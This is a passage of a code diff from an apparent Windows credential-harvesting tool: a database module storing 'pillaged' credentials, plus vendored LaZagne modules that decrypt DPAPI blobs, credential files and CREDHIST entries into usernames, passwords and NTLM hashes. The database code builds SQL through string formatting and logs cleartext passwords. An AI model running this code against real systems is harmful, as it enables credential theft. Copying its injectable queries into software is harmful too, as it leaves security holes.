self.logging.debug(f"Added {username} sid {sid} to database") + return 1 + + def add_dpapi_hash(self, file_path=None, sid=None, guid=None, hash=None,context=None, pillaged_from_computerid=None,pillaged_from_computer_ip=None): + try: + #domain = domain.split('.')[0].upper() + user_rowid = None + if pillaged_from_computer_ip != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT * FROM computers WHERE LOWER(ip)=LOWER('{pillaged_from_computer_ip}')") + results = cur.fetchall() + if len(results)>0: + result=results[0] + pillaged_from_computerid=result[0] + if pillaged_from_computerid != None and sid != None and guid != None and hash != None and context !=None: + query = f"SELECT * FROM dpapi_hash WHERE LOWER(sid)=LOWER('{sid}') AND LOWER(guid)=LOWER('{guid}') AND LOWER(hash)=LOWER('{hash}') AND pillaged_from_computerid={pillaged_from_computerid} AND LOWER(context)=LOWER('{context}')" + self.logging.debug(query) + with self.conn: + cur = self.conn.cursor() + cur.execute(query) + results = cur.fetchall() + + if not len(results): + query=f"INSERT INTO dpapi_hash (file_path, sid, guid, hash, context, pillaged_from_computerid) VALUES ('{file_path}','{sid}','{guid}','{hash}','{context}',{pillaged_from_computerid})" + self.logging.debug(query) + with self.conn: + cur = self.conn.cursor() + cur.execute(query) + user_rowid = cur.lastrowid + self.logging.debug(f'added DPAPI hash {hash}') + else: + self.logging.debug(f'DPAPI hash {hash} ALREADY EXIST') + else: + self.logging.error(f"missing infos to register DPAPI hash {hash} - {file_path},{sid},{guid},{hash},{context},{pillaged_from_computerid}") + except Exception as ex: + self.logging.error(f"Exception in add_hash ") + self.logging.debug(ex) + return user_rowid + + def clear_input(self,data): + if data is None: + data = '' + result = data.replace('\x00','') + return result + + def add_credz(self, credz_type, credz_username, credz_password, credz_target, credz_path , pillaged_from_computerid=None,pillaged_from_userid=None,pillaged_from_computer_ip=None,pillaged_from_username=None): + """ + Check if this credential has already been added to the database, if not add it in. + """ + user_rowid=None + try: + credz_username=self.clear_input(credz_username) + credz_password = self.clear_input(credz_password) + credz_target = self.clear_input(credz_target) + credz_path = self.clear_input(credz_path) + self.logging.debug(f"{credz_username} - {binascii.hexlify(credz_username.encode('utf-8'))}") + self.logging.debug(f"{credz_password} - {binascii.hexlify(credz_password.encode('utf-8'))}") + self.logging.debug(f"{credz_target} - {binascii.hexlify(credz_target.encode('utf-8'))}") + self.logging.debug(f"{credz_path} - {binascii.hexlify(credz_path.encode('utf-8'))}") + self.logging.debug(f"pillaged_from_computer_ip {pillaged_from_computer_ip} - {binascii.hexlify(pillaged_from_computer_ip.encode('utf-8'))}") + self.logging.debug(f"pillaged_from_username {pillaged_from_username}") + + + if pillaged_from_computer_ip != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT * FROM computers WHERE LOWER(ip)=LOWER('{pillaged_from_computer_ip}')") + results = cur.fetchall() + if len(results)>0: + result=results[0] + pillaged_from_computerid=result[0] + self.logging.debug(f"[+] Resolved {pillaged_from_computer_ip} to id : {pillaged_from_computerid}") + except Exception as ex: + self.logging.error(f"Exception in add_credz 1") + self.logging.debug(ex) + + try: + if pillaged_from_username != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT * FROM users WHERE LOWER(username)=LOWER('{pillaged_from_username}') AND pillaged_from_computerid={pillaged_from_computerid}") + results = cur.fetchall() + if len(results) > 0: + result = results[0] + pillaged_from_userid = result[0] + self.logging.debug(f"[+] Resolved {pillaged_from_username} on machine {pillaged_from_computerid} to id : {pillaged_from_userid}") + except Exception as ex: + self.logging.error(f"Exception in add_credz 2") + self.logging.debug(ex) + pass + if pillaged_from_computerid == None or pillaged_from_userid == None : + self.logging.debug(f"[-] Missing computerId or UserId to register Credz {credz_username} {credz_password} - {credz_target}") + #return None + try: + if pillaged_from_userid == None : + query = f"SELECT * FROM credz WHERE LOWER(username)=LOWER('{credz_username}') AND LOWER(password)=LOWER('{credz_password}') AND LOWER(type)=LOWER('{credz_type}') AND LOWER(target)=LOWER('{credz_target}') AND pillaged_from_computerid={pillaged_from_computerid}" + else: + query=f"SELECT * FROM credz WHERE LOWER(username)=LOWER('{credz_username}') AND LOWER(password)=LOWER('{credz_password}') AND LOWER(type)=LOWER('{credz_type}') AND LOWER(target)=LOWER('{credz_target}') AND pillaged_from_computerid={pillaged_from_computerid} AND pillaged_from_userid={pillaged_from_userid}" + self.logging.debug(query) + with self.conn: + cur = self.conn.cursor() + cur.execute(query) + results = cur.fetchall() + except Exception as ex: + self.logging.error(f"Exception in add_credz 3") + self.logging.debug(ex) + try: + if not len(results): + if pillaged_from_userid == None: + query = f"INSERT INTO credz (username, password, target, type, pillaged_from_computerid, file_path) VALUES ('{credz_username}', '{credz_password}', '{credz_target}', '{credz_type}', {pillaged_from_computerid}, '{credz_path}')" + else: + query=f"INSERT INTO credz (username, password, target, type, pillaged_from_computerid,pillaged_from_userid, file_path) VALUES ('{credz_username}', '{credz_password}', '{credz_target}', '{credz_type}', {pillaged_from_computerid}, {pillaged_from_userid}, '{credz_path}')" + self.logging.debug(query) + with self.conn: + cur = self.conn.cursor() + cur.execute(query) + user_rowid = cur.lastrowid + self.logging.debug( + f'added_credential(credtype={credz_type}, target={credz_target}, username={credz_username}, password={credz_password}) => {user_rowid}') + else: + self.logging.debug( + f'added_credential(credtype={credz_type}, target={credz_target}, username={credz_username}, password={credz_password}) => ALREADY IN DB') + + except Exception as ex: + self.logging.error(f"Exception in add_credz 4") + self.logging.debug(ex) + + return None + + def get_credz_old(self, filterTerm=None, credz_type=None): + """ + Return credentials from the database. + """ + + cur = self.conn.cursor() + + if credz_type: + cur.execute(f"SELECT * FROM credz WHERE credtype='{credz_type}'") + + # if we're filtering by username + elif filterTerm and filterTerm != '': + cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm)]) + + # otherwise return all credentials + else: + cur.execute("SELECT * FROM credz") + + results = cur.fetchall() + cur.close() + return results + + def add_group(self, domain, name): + + domain = domain.split('.')[0].upper() + cur = self.conn.cursor() + + cur.execute("SELECT * FROM groups WHERE LOWER(domain)=LOWER(?) AND LOWER(name)=LOWER(?)", [domain, name]) + results = cur.fetchall() + + if not len(results): + cur.execute("INSERT INTO groups (domain, name) VALUES (?,?)", [domain, name]) + + cur.close() + + self.logging.debug('add_group(domain={}, name={}) => {}'.format(domain, name, cur.lastrowid)) + + return cur.lastrowid + + def add_admin_user(self, credtype, domain, username, password, host, userid=None): + + domain = domain.split('.')[0].upper() + cur = self.conn.cursor() + + if userid: + cur.execute("SELECT * FROM users WHERE id=?", [userid]) + users = cur.fetchall() + else: + cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=?", [credtype, domain, username, password]) + users = cur.fetchall() + + cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [host]) + hosts = cur.fetchall() + + if len(users) and len(hosts): + for user, host in zip(users, hosts): + userid = user[0] + hostid = host[0] + + #Check to see if we already added this link + cur.execute("SELECT * FROM admin_relations WHERE userid=? AND computerid=?", [userid, hostid]) + links = cur.fetchall() + + if not len(links): + cur.execute("INSERT INTO admin_relations (userid, computerid) VALUES (?,?)", [userid, hostid]) + + cur.close() + + def get_admin_relations(self, userID=None, hostID=None): + + cur = self.conn.cursor() + + if userID: + cur.execute("SELECT * FROM admin_relations WHERE userid=?", [userID]) + + elif hostID: + cur.execute("SELECT * FROM admin_relations WHERE computerid=?", [hostID]) + + results = cur.fetchall() + cur.close() + + return results + + def get_group_relations(self, userID=None, groupID=None): + + cur = self.conn.cursor() + + if userID and groupID: + cur.execute("SELECT * FROM group_relations WHERE userid=? and groupid=?", [userID, groupID]) + + elif userID: + cur.execute("SELECT * FROM group_relations WHERE userid=?", [userID]) + + elif groupID: + cur.execute("SELECT * FROM group_relations WHERE groupid=?", [groupID]) + + results = cur.fetchall() + cur.close() + + return results + + def remove_admin_relation(self, userIDs=None, hostIDs=None): + + cur = self.conn.cursor() + + if userIDs: + for userID in userIDs: + cur.execute("DELETE FROM admin_relations WHERE userid=?", [userID]) + + elif hostIDs: + for hostID in hostIDs: + cur.execute("DELETE FROM admin_relations WHERE hostid=?", [hostID]) + + cur.close() + + def remove_group_relations(self, userID=None, groupID=None): + + cur = self.conn.cursor() + + if userID: + cur.execute("DELETE FROM group_relations WHERE userid=?", [userID]) + + elif groupID: + cur.execute("DELETE FROM group_relations WHERE groupid=?", [groupID]) + + results = cur.fetchall() + cur.close() + + return results + + def is_credential_valid(self, credentialID): + """ + Check if this credential ID is valid. + """ + cur = self.conn.cursor() + cur.execute('SELECT * FROM users WHERE id=? AND password IS NOT NULL LIMIT 1', [credentialID]) + results = cur.fetchall() + cur.close() + return len(results) > 0 + + def is_credential_local(self, credentialID): + cur = self.conn.cursor() + cur.execute('SELECT domain FROM users WHERE id=?', [credentialID]) + user_domain = cur.fetchall() + + if user_domain: + cur.execute('SELECT * FROM computers WHERE LOWER(hostname)=LOWER(?)', [user_domain]) + results = cur.fetchall() + cur.close() + return len(results) > 0 + + def get_credentials(self, filterTerm=None, credtype=None): + """ + Return credentials from the database. + """ + + cur = self.conn.cursor() + + # if we're returning a single credential by ID + if self.is_credential_valid(filterTerm): + cur.execute("SELECT * FROM users WHERE id=?", [filterTerm]) + + elif credtype: + cur.execute("SELECT * FROM users WHERE credtype=?", [credtype]) + + # if we're filtering by username + elif filterTerm and filterTerm != '': + cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm)]) + + # otherwise return all credentials + else: + cur.execute("SELECT * FROM users") + + results = cur.fetchall() + cur.close() + return results + + def is_user_valid(self, userID): + """ + Check if this User ID is valid. + """ + cur = self.conn.cursor() + cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [userID]) + results = cur.fetchall() + cur.close() + return len(results) > 0 + + def get_users(self, filterTerm=None): + + cur = self.conn.cursor() + + if self.is_user_valid(filterTerm): + cur.execute("SELECT * FROM users WHERE id=? LIMIT 1", [filterTerm]) + + # if we're filtering by username + elif filterTerm and filterTerm != '': + cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm)]) + + else: + cur.execute("SELECT * FROM users") + + results = cur.fetchall() + cur.close() + return results + + def is_computer_valid(self, hostID): + """ + Check if this host ID is valid. + """ + cur = self.conn.cursor() + cur.execute('SELECT * FROM computers WHERE id=? LIMIT 1', [hostID]) + results = cur.fetchall() + cur.close() + return len(results) > 0 + + def get_computers(self, filterTerm=None, domain=None): + """ + Return hosts from the database. + """ + + cur = self.conn.cursor() + + # if we're returning a single host by ID + if self.is_computer_valid(filterTerm): + cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", [filterTerm]) + + # if we're filtering by domain controllers + elif filterTerm == 'dc': + if domain: + cur.execute("SELECT * FROM computers WHERE dc=1 AND LOWER(domain)=LOWER(?)", [domain]) + else: + cur.execute("SELECT * FROM computers WHERE dc=1") + + # if we're filtering by ip/hostname + elif filterTerm and filterTerm != "": + cur.execute("SELECT * FROM computers WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?)", ['%{}%'.format(filterTerm), '%{}%'.format(filterTerm)]) + + # otherwise return all computers + else: + cur.execute("SELECT * FROM computers") + + results = cur.fetchall() + cur.close() + return results + + def get_domain_controllers(self, domain=None): + return self.get_computers(filterTerm='dc', domain=domain) + + def is_group_valid(self, groupID): + """ + Check if this group ID is valid. + """ + cur = self.conn.cursor() + cur.execute('SELECT * FROM groups WHERE id=? LIMIT 1', [groupID]) + results = cur.fetchall() + cur.close() + + self.logging.debug('is_group_valid(groupID={}) => {}'.format(groupID, True if len(results) else False)) + return len(results) > 0 + + def get_groups(self, filterTerm=None, groupName=None, groupDomain=None): + """ + Return groups from the database + """ + if groupDomain: + groupDomain = groupDomain.split('.')[0].upper() + + cur = self.conn.cursor() + + if self.is_group_valid(filterTerm): + cur.execute("SELECT * FROM groups WHERE id=? LIMIT 1", [filterTerm]) + + elif groupName and groupDomain: + cur.execute("SELECT * FROM groups WHERE LOWER(name)=LOWER(?) AND LOWER(domain)=LOWER(?)", [groupName, groupDomain]) + + elif filterTerm and filterTerm !="": + cur.execute("SELECT * FROM groups WHERE LOWER(name) LIKE LOWER(?)", ['%{}%'.format(filterTerm)]) + + else: + cur.execute("SELECT * FROM groups") + + results = cur.fetchall() + cur.close() + self.logging.debug('get_groups(filterTerm={}, groupName={}, groupDomain={}) => {}'.format(filterTerm, groupName, groupDomain, results)) + return results + diff --git a/lazagne/__init__.py b/lazagne/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/config/DPAPI/__init__.py b/lazagne/config/DPAPI/__init__.py new file mode 100644 index 0000000..8d1c8b6 --- /dev/null +++ b/lazagne/config/DPAPI/__init__.py @@ -0,0 +1 @@ + diff --git a/lazagne/config/DPAPI/blob.py b/lazagne/config/DPAPI/blob.py new file mode 100644 index 0000000..23bf66d --- /dev/null +++ b/lazagne/config/DPAPI/blob.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" +import codecs +import traceback + +from .eater import DataStruct +from . import crypto + +from lazagne.config.write_output import print_debug +from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC +from lazagne.config.crypto.pyDes import CBC +from lazagne.config.winstructure import char_to_int + +AES_BLOCK_SIZE = 16 + + +class DPAPIBlob(DataStruct): + """Represents a DPAPI blob""" + + def __init__(self, raw=None): + """ + Constructs a DPAPIBlob. If raw is set, automatically calls parse(). + """ + self.version = None + self.provider = None + self.mkguid = None + self.mkversion = None + self.flags = None + self.description = None + self.cipherAlgo = None + self.keyLen = 0 + self.hmac = None + self.strong = None + self.hashAlgo = None + self.hashLen = 0 + self.cipherText = None + self.salt = None + self.blob = None + self.sign = None + self.cleartext = None + self.decrypted = False + self.signComputed = None + DataStruct.__init__(self, raw) + + def parse(self, data): + """Parses the given data. May raise exceptions if incorrect data are + given. You should not call this function yourself; DataStruct does + + data is a DataStruct object. + Returns nothing. + + """ + self.version = data.eat("L") + self.provider = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B") + + # For HMAC computation + blobStart = data.ofs + + self.mkversion = data.eat("L") + self.mkguid = b"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % data.eat("L2H8B") + self.flags = data.eat("L") + self.description = data.eat_length_and_string("L").replace(b"\x00", b"") + self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) + self.keyLen = data.eat("L") + self.salt = data.eat_length_and_string("L") + self.strong = data.eat_length_and_string("L") + self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) + self.hashLen = data.eat("L") + self.hmac = data.eat_length_and_string("L") + self.cipherText = data.eat_length_and_string("L") + + # For HMAC computation + self.blob = data.raw[blobStart:data.ofs] + self.sign = data.eat_length_and_string("L") + + def decrypt(self, masterkey, entropy=None, strongPassword=None): + """Try to decrypt the blob. Returns True/False + :rtype : bool + :param masterkey: decrypted masterkey value + :param entropy: optional entropy for decrypting the blob + :param strongPassword: optional password for decrypting the blob + """ + for algo in [crypto.CryptSessionKeyXP, crypto.CryptSessionKeyWin7]: + try: + sessionkey = algo(masterkey, self.salt, self.hashAlgo, entropy=entropy, strongPassword=strongPassword) + key = crypto.CryptDeriveKey(sessionkey, self.cipherAlgo, self.hashAlgo) + + if "AES" in self.cipherAlgo.name: + cipher = AESModeOfOperationCBC(key[:int(self.cipherAlgo.keyLength)], + iv=b"\x00" * int(self.cipherAlgo.ivLength)) + self.cleartext = b"".join([cipher.decrypt(self.cipherText[i:i + AES_BLOCK_SIZE]) for i in + range(0, len(self.cipherText), AES_BLOCK_SIZE)]) + else: + cipher = self.cipherAlgo.module(key, CBC, b"\x00" * self.cipherAlgo.ivLength) + self.cleartext = cipher.decrypt(self.cipherText) + + padding = char_to_int(self.cleartext[-1]) + if padding <= self.cipherAlgo.blockSize: + self.cleartext = self.cleartext[:-padding] + + # check against provided HMAC + self.signComputed = algo(masterkey, self.hmac, self.hashAlgo, entropy=entropy, verifBlob=self.blob) + self.decrypted = self.signComputed == self.sign + + if self.decrypted: + return True + except Exception: + print_debug('DEBUG', traceback.format_exc()) + + self.decrypted = False + return self.decrypted + + def decrypt_encrypted_blob(self, mkp, entropy_hex=False): + """ + This function should be called to decrypt a dpapi blob. + It will find the associcated masterkey used to decrypt the blob. + :param mkp: masterkey pool object (MasterKeyPool) + """ + mks = mkp.get_master_keys(self.mkguid) + if not mks: + return False, 'Unable to find MK for blob {mk_guid}'.format(mk_guid=self.mkguid) + + entropy = None + if entropy_hex: + entropy = codecs.decode(entropy_hex, 'hex') + + for mk in mks: + if mk.decrypted: + self.decrypt(mk.get_key(), entropy=entropy) + if self.decrypted: + return True, self.cleartext + + return False, 'Unable to decrypt master key' diff --git a/lazagne/config/DPAPI/credfile.py b/lazagne/config/DPAPI/credfile.py new file mode 100644 index 0000000..54e491c --- /dev/null +++ b/lazagne/config/DPAPI/credfile.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +from .blob import DPAPIBlob +from .eater import DataStruct + + +class CredentialDecryptedHeader(DataStruct): + """ + Header of the structure returned once the blob has been decrypted + Header of the CredentialDecrypted class + """ + def __init__(self, raw=None): + self.total_size = None + self.unknown1 = None + self.unknown2 = None + self.unknown3 = None + self.last_update = None + self.unknown4 = None + self.unk_type = None + self.unk_blocks = None + self.unknown5 = None + self.unknown6 = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.total_size = data.eat("L") + self.unknown1 = data.eat("L") + self.unknown2 = data.eat("L") + self.unknown3 = data.eat("L") + self.last_update = data.eat("Q") + self.unknown4 = data.eat("L") + self.unk_type = data.eat("L") + self.unk_blocks = data.eat("L") + self.unknown5 = data.eat("L") + self.unknown6 = data.eat("L") + + +class CredentialDecrypted(DataStruct): + """ + Structure returned once the blob has been decrypted + """ + def __init__(self, raw=None): + self.header_size = None + self.header = None + self.domain = None + self.unk_string1 = None + self.unk_string2 = None + self.unk_string3 = None + self.username = None + self.password = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.header_size = data.eat("L") + if self.header_size > 0: + self.header = CredentialDecryptedHeader() + self.header.parse(data.eat_sub(self.header_size - 4)) + self.domain = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode + self.unk_string1 = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode + self.unk_string2 = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode + self.unk_string3 = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode + self.username = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode + self.password = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode + + +class CredFile(DataStruct): + """ + Decrypt Credentials Files stored on ...\\Microsoft\\Credentials\\... + """ + def __init__(self, raw=None): + self.unknown1 = None + self.blob_size = None + self.unknown2 = None + self.blob = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.unknown1 = data.eat("L") + self.blob_size = data.eat("L") + self.unknown2 = data.eat("L") + if self.blob_size > 0: + self.blob = DPAPIBlob() + self.blob.parse(data.eat_sub(self.blob_size)) + + def decrypt(self, mkp, credfile): + ok, msg = self.blob.decrypt_encrypted_blob(mkp=mkp) + if ok: + cred_dec = CredentialDecrypted(msg) + if cred_dec.header.unk_type in [2, 3]: + return True, { + 'File': credfile, + 'Domain': cred_dec.domain, + 'Username': cred_dec.username, + 'Password': cred_dec.password, + } + elif cred_dec.header.unk_type == 2: + return False, 'System credential type' + else: + return False, 'Unknown CREDENTIAL type, please report.\nCreds: {creds}'.format(creds=cred_dec) + else: + return ok, msg diff --git a/lazagne/config/DPAPI/credhist.py b/lazagne/config/DPAPI/credhist.py new file mode 100644 index 0000000..dc430b6 --- /dev/null +++ b/lazagne/config/DPAPI/credhist.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +import struct +import hashlib + +from . import crypto +from .eater import DataStruct + + +class RPC_SID(DataStruct): + """ + Represents a RPC_SID structure. See MSDN for documentation + """ + def __init__(self, raw=None): + self.version = None + self.idAuth = None + self.subAuth = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("B") + n = data.eat("B") + self.idAuth = struct.unpack(">Q", b"\0\0" + data.eat("6s"))[0] + self.subAuth = data.eat("%dL" % n) + + def __str__(self): + s = ["S-%d-%d" % (self.version, self.idAuth)] + s += ["%d" % x for x in self.subAuth] + return "-".join(s) + + +class CredhistEntry(DataStruct): + + def __init__(self, raw=None): + self.pwdhash = None + self.hmac = None + self.revision = None + self.hashAlgo = None + self.rounds = None + self.cipherAlgo = None + self.shaHashLen = None + self.ntHashLen = None + self.iv = None + self.userSID = None + self.encrypted = None + self.revision2 = None + self.guid = None + self.ntlm = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.revision = data.eat("L") + self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) + self.rounds = data.eat("L") + data.eat("L") + self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) + self.shaHashLen = data.eat("L") + self.ntHashLen = data.eat("L") + self.iv = data.eat("16s") + + self.userSID = RPC_SID() + self.userSID.parse(data) + + n = self.shaHashLen + self.ntHashLen + n += -n % self.cipherAlgo.blockSize + self.encrypted = data.eat_string(n) + + self.revision2 = data.eat("L") + self.guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + + def decrypt_with_hash(self, pwdhash): + """ + Decrypts this credhist entry with the given user's password hash. + Simply computes the encryption key with the given hash + then calls self.decrypt_with_key() to finish the decryption. + """ + self.decrypt_with_key(crypto.derivePwdHash(pwdhash, str(self.userSID))) + + def decrypt_with_key(self, enckey): + """ + Decrypts this credhist entry using the given encryption key. + """ + cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.encrypted, enckey, + self.iv, self.rounds) + self.pwdhash = cleartxt[:self.shaHashLen] + self.ntlm = cleartxt[self.shaHashLen:self.shaHashLen + self.ntHashLen].rstrip(b"\x00") + if len(self.ntlm) != 16: + self.ntlm = None + + +class CredHistFile(DataStruct): + + def __init__(self, raw=None): + self.entries_list = [] + self.entries = {} + self.valid = False + self.footmagic = None + self.curr_guid = None + DataStruct.__init__(self, raw) + + def parse(self, data): + while True: + l = data.pop("L") + if l == 0: + break + self.addEntry(data.pop_string(l - 4)) + + self.footmagic = data.eat("L") + self.curr_guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + + def addEntry(self, blob): + """ + Creates a CredhistEntry object with blob then adds it to the store + """ + x = CredhistEntry(blob) + self.entries[x.guid] = x + self.entries_list.append(x) + + def decrypt_with_hash(self, pwdhash): + """ + Try to decrypt each entry with the given hash + """ + + if self.valid: + return + + for entry in self.entries_list: + entry.decrypt_with_hash(pwdhash) + + def decrypt_with_password(self, password): + """ + Decrypts this credhist entry with the given user's password. + Simply computes the password hash then calls self.decrypt_with_hash() + """ + self.decrypt_with_hash(hashlib.sha1(password.encode("UTF-16LE")).digest()) diff --git a/lazagne/config/DPAPI/crypto.py b/lazagne/config/DPAPI/crypto.py new file mode 100644 index 0000000..0864fec --- /dev/null +++ b/lazagne/config/DPAPI/crypto.py @@ -0,0 +1,366 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +############################################################################# +# ## +# This file is part of DPAPIck ## +# Windows DPAPI decryption & forensic toolkit ## +# ## +# ## +# Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ## +# This document is the property of Cassidian SAS, it may not be copied or ## +# circulated without prior licence ## +# ## +# Author: Jean-Michel Picod ## +# ## +# This program is distributed under GPLv3 licence (see LICENCE.txt) ## +# ## +############################################################################# + +import array +import hashlib +import hmac +import struct +import sys + +from lazagne.config.crypto.rc4 import RC4 +from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC, AESModeOfOperationECB +from lazagne.config.crypto.pyDes import triple_des, des, ECB, CBC +from lazagne.config.winstructure import char_to_int, chr_or_byte + + +try: + xrange +except NameError: + xrange = range + +AES_BLOCK_SIZE = 16 + + +class CryptoAlgo(object): + """ + This class is used to wrap Microsoft algorithm IDs with M2Crypto + """ + + class Algo(object): + def __init__(self, data): + self.data = data + + def __getattr__(self, attr): + if attr in self.data: + return self.data[attr] + raise AttributeError(attr) + + _crypto_data = {} + + @classmethod + def add_algo(cls, algnum, **kargs): + cls._crypto_data[algnum] = cls.Algo(kargs) + if 'name' in kargs: + kargs['ID'] = algnum + cls._crypto_data[kargs['name']] = cls.Algo(kargs) + + @classmethod + def get_algo(cls, algnum): + return cls._crypto_data[algnum] + + def __init__(self, i): + self.algnum = i + self.algo = CryptoAlgo.get_algo(i) + + name = property(lambda self: self.algo.name) + module = property(lambda self: self.algo.module) + keyLength = property(lambda self: self.algo.keyLength / 8) + ivLength = property(lambda self: self.algo.IVLength / 8) + blockSize = property(lambda self: self.algo.blockLength / 8) + digestLength = property(lambda self: self.algo.digestLength / 8) + + def do_fixup_key(self, key): + try: + return self.algo.keyFixup.__call__(key) + except AttributeError: + return key + + def __repr__(self): + return "%s [%#x]" % (self.algo.name, self.algnum) + + +def des_set_odd_parity(key): + _lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, + 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, + 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, + 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, + 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, + 91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, + 107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121, + 121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134, + 134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148, + 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162, + 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176, + 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, + 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, + 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, + 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233, + 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247, + 247, 248, 248, 251, 251, 253, 253, 254, 254] + tmp = array.array("B") + tmp.fromstring(key) + for i, v in enumerate(tmp): + tmp[i] = _lut[v] + return tmp.tostring() + + +CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, blockLength=64, IVLength=64, module=des, + keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, blockLength=64, IVLength=64, module=triple_des, + keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x660e, name="AES-128", keyLength=128, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x660f, name="AES-192", keyLength=192, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, blockLength=128, IVLength=128) +CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512) +CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512) +CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512) +CryptoAlgo.add_algo(0x800c, name="sha256", digestLength=256, blockLength=512) +CryptoAlgo.add_algo(0x800d, name="sha384", digestLength=384, blockLength=1024) +CryptoAlgo.add_algo(0x800e, name="sha512", digestLength=512, blockLength=1024) + + +def CryptSessionKeyXP(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None): + """ + Computes the decryption key for XP DPAPI blob, given the masterkey and optional information. + + This implementation relies on a faulty implementation from Microsoft that does not respect the HMAC RFC. + Instead of updating the inner pad, we update the outer pad... + This algorithm is also used when checking the HMAC for integrity after decryption + + :param masterkey: decrypted masterkey (should be 64 bytes long) + :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check) + :param entropy: this is the optional entropy from CryptProtectData() API + :param strongPassword: optional password used for decryption or the blob itself + :param verifBlob: optional encrypted blob used for integrity check + :returns: decryption key + :rtype : str + """ + if len(masterkey) > 20: + masterkey = hashlib.sha1(masterkey).digest() + + masterkey += b"\x00" * int(hashAlgo.blockSize) + ipad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize))) + opad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize))) + digest = hashlib.new(hashAlgo.name) + digest.update(ipad) + digest.update(nonce) + tmp = digest.digest() + digest = hashlib.new(hashAlgo.name) + digest.update(opad) + digest.update(tmp) + if entropy is not None: + 